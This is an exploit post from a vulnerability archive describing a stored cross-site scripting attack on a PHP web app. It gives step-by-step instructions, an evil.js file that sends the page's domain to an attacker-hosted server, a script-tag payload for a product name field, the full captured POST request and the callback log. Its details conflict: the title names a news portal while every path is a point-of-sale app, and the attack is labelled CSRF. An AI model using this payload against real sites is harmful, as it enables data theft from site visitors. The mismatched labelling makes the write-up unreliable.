Share
## https://sploitus.com/exploit?id=PACKETSTORM:161862
# Exploit Title: Online News Portal | Stored XSS + CSRF Example  
# Exploit Author: Richard Jones  
# Date: 2021-03-18  
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
Steps.  
  
1. Create a "evil.js" file with the below contents  
----------------------------------------------------------------------------------------  
var x = new XMLHttpRequest();  
x.open("GET", "//127.0.0.1:8081/?c="+document.domain);  
x.send();  
----------------------------------------------------------------------------------------  
2. Host the file locally. python3 -m http.server 8081  
3. Goto http://127.0.0.1/pos_inv/index.php, login as a supplier (supplier/supplier)  
4. Add product ..  
----------------------------------------------------------------------------------------  
Name: <script type="text/javascript" src="http://127.0.0.1:8081/evil.js"></script>  
Catagory: Laptops  
Price: 1  
Quantity: 1  
Photo: None  
----------------------------------------------------------------------------------------  
POST /pos_inv/supplier/edit_product.php?id=28 HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------29152014675220535253532605082  
Content-Length: 744  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/pos_inv/supplier/  
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm  
Upgrade-Insecure-Requests: 1  
  
-----------------------------29152014675220535253532605082  
Content-Disposition: form-data; name="name"  
  
<script type="text/javascript" src="http://127.0.0.1:8081/evil.js"></script>  
-----------------------------29152014675220535253532605082  
Content-Disposition: form-data; name="category"  
  
1  
-----------------------------29152014675220535253532605082  
Content-Disposition: form-data; name="price"  
  
1  
-----------------------------29152014675220535253532605082  
Content-Disposition: form-data; name="qty"  
  
1  
-----------------------------29152014675220535253532605082  
Content-Disposition: form-data; name="image"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------29152014675220535253532605082--  
  
----------------------------------------------------------------------------------------  
5. Click Update  
6. Recieve CSRF  
  
#Python server   
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /evil.js HTTP/1.1" 304 -  
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /?c=127.0.0.1 HTTP/1.1" 200 -